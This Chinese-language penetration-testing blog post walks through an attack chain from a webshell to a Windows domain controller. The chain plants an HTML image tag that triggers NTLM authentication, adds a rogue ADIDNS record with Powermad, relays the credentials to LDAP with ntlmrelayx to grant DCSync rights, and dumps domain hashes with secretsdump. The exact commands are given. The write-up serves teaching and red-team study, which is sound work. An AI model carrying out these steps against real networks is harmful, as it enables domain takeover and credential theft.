[域滲透-內網滲透] 從 web 到域控,你未曾設想的攻擊鏈

0x00 前言

本文源自一次真實的滲透過程記錄,介紹中繼攻擊在域內的另一種利用場景,希望能對各位看客有所幫助。

0x01 背景

拿到目標後對目標進行資產收集和常規滲透,目標體積較大,有數個 VPN 接入口,有自己獨立的郵件服務器,根據郵服泄露的信息,內網存在域。目標安全性較好,沒有歷史漏洞可以直接獲取到目標相關資產的權限。

經過多天打點後,終於找到目標線上的一個自研系統存在漏洞,通過一系列操作獲取到該目標的網站的 webshell,環境爲 linux ,外網雲上環境。權限爲 www-data

該點爲目標的打卡和週報系統,分析日誌可以發現有一部分用戶是從目標總部過來的,一部分用戶是從各地IP播過來的,可能是因爲疫情原因吧,有些員工在家遠程辦公。收集數據庫中所有的用戶名已經可以解密的密碼,嘗試去登錄 VPN,運氣不錯,共拿到兩組 VPN 賬號,成功撥入內網。根據 VPN
的下發路由和網段探測慢慢摸到了目標內網中一臺域控的位置,VPN 用的是域賬號進行認證,所以我們可以直接鏈接 LDAP 去查詢域內信息。

獲取的兩組賬號均爲邊緣客服人員,目標域內有多個域控,所有的機器版本也比較新,個人機器均爲 WIN10,服務器也是 20162019 這樣較新的版本,OU 劃的也比較仔細,拉出來看了看組策略的數量和部分配置,可以看出管理員還是很會玩的。

沒有直接可以利用的點,這兩組賬號的郵箱內的郵件也沒有敏感的信息。繼續翻找,OU 中 MIS(網絡管理員)組的成員均爲域管,有部分機器是用戶自行拉入域的。

整理一下我們手上的東西:一個外網的打卡系統兩組客服域賬號一個VPN接入點

到此我們已經具備了拿下域控的所有條件了,看到這裏,各位可以停下里想一想如果是你,你該怎麼進行攻擊。

0x02 原理與構造

ntlm relay is dead long live ntlm relay

我們可以在打卡系統中插入我們的鏈接,例如 <img src="http://192.168.1.1/img.png" />。有用戶來訪問打卡系統的時候就會來對我們的網站進行請求,此時我們返回 401,則用戶瀏覽器會默認對我們進行 NTLM 認證,因爲來源是 HTTP ,我們可以將 HTTP 中繼到 LDAP,來完成攻擊連,也就是說,域管理員用戶一旦訪問打卡系統,我們就可以直接接管域控。

但是,默認情況下瀏覽器不會向外網發送憑證信息,你需要向域內添加一條DNS記錄指向你用於中繼的VPS,而默認情況下,任何認證用戶(Authenticated Users),都用 Create all child object 的權限。換句話說,任何一個域用戶默認情況下都可以添加 DNS 到 ADIDNS 區域。

到此我們的攻擊路線就清晰了:

  1. 用域用戶向域中添加一條 DNS 記錄 unicodesec 指向公網 vps
  2. 在公網的打開系統首頁 添加 <img src="http://unicodesec/img.png" />
  3. 在 公網 vps 上掛好 VPN 做好中繼回域控的線路
  4. 等待用戶來進行訪問,當域管用戶來訪問時,則我們可以通過修改DACL,賦予 DCSYNC 權限 等方式接管整個域的權限

0x03 攻擊

  • 環境說明

爲了避免不必要的麻煩,演示過程由測試環境代替

IP HOSTNAME NOTE
192.168.136.138 DC 域控,Winodws2016
192.168.136.140 WIN域機器 WIN10,域管理員登錄機器
1.1.1.1 外網雲上環境 外網的打卡系統-ubuntu18.04
2.2.2.2 公網VPS 攻擊者機器
USERNAME NOTE
Administrator 域管理員
win10 普通域用戶,現有特權
  • 添加 認證圖片

首先用我們拿到的 webshell 向系統首頁添加以下代碼,這裏我們就用隨便起一個 http 服務器演示。

<img src="http://unicodesec/1.png" />

  • 添加 DNS 記錄

這裏我們直接使用 Powermad 在域外向域中添加一條指向惡意服務器的 A 記錄

使用VPN登錄到內網中(客服域賬號),全程是在域外操作的也就是本地也就是我們根本不需要域機器,這裏我們用 frp 代理模擬撥入VPN

使用runas進行模擬Token

runas /netonly /user:shell\admin123 powershell

Powermad 添加一條A 記錄 DNS 指向我們的公網 VPS 地址。(https://github.com/Kevin-Robertson/Powermad)

cd C:\Users\demi\Desktop\Powermad-master
Import-Module .\Invoke-DNSUpdate.ps1
Invoke-DNSupdate -DNSType A -DNSName unicodesec -DNSData 70.34.197.162 -Verbos

可以看到回顯,我們成功向域控添加了一條 DNS ,指向我們公網的 VPS。

  • ntlmrelay

VPS 上開啓 ntlmrelayx.py 進行監聽,命令如下

python3 ntlmrelayx.py -t ldap://192.168.136.138 --escalate-user=win10

等待域管理員打開的外網打卡系統即可, 就通過 DCSYNC 等方式接管整個域的權限。一旦訪問就會被中繼回 LDAP 並對我們指定的用戶賦予特權。

可以看到 win10 用戶 被賦予 DCSYNC 的權限。

獲取權限後使用impacket secretsdump.py 就可以導出本地 HASH 和域 HASH。

python3 secretsdump.py shell/win10:admin\@[email protected]

完整演示GIF如下:

至此,完成整個滲透過程。

0x04 後記

如果對你有用話,不來個轉發 點贊 再看支持一下嗎?

寬字節內網線上班

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章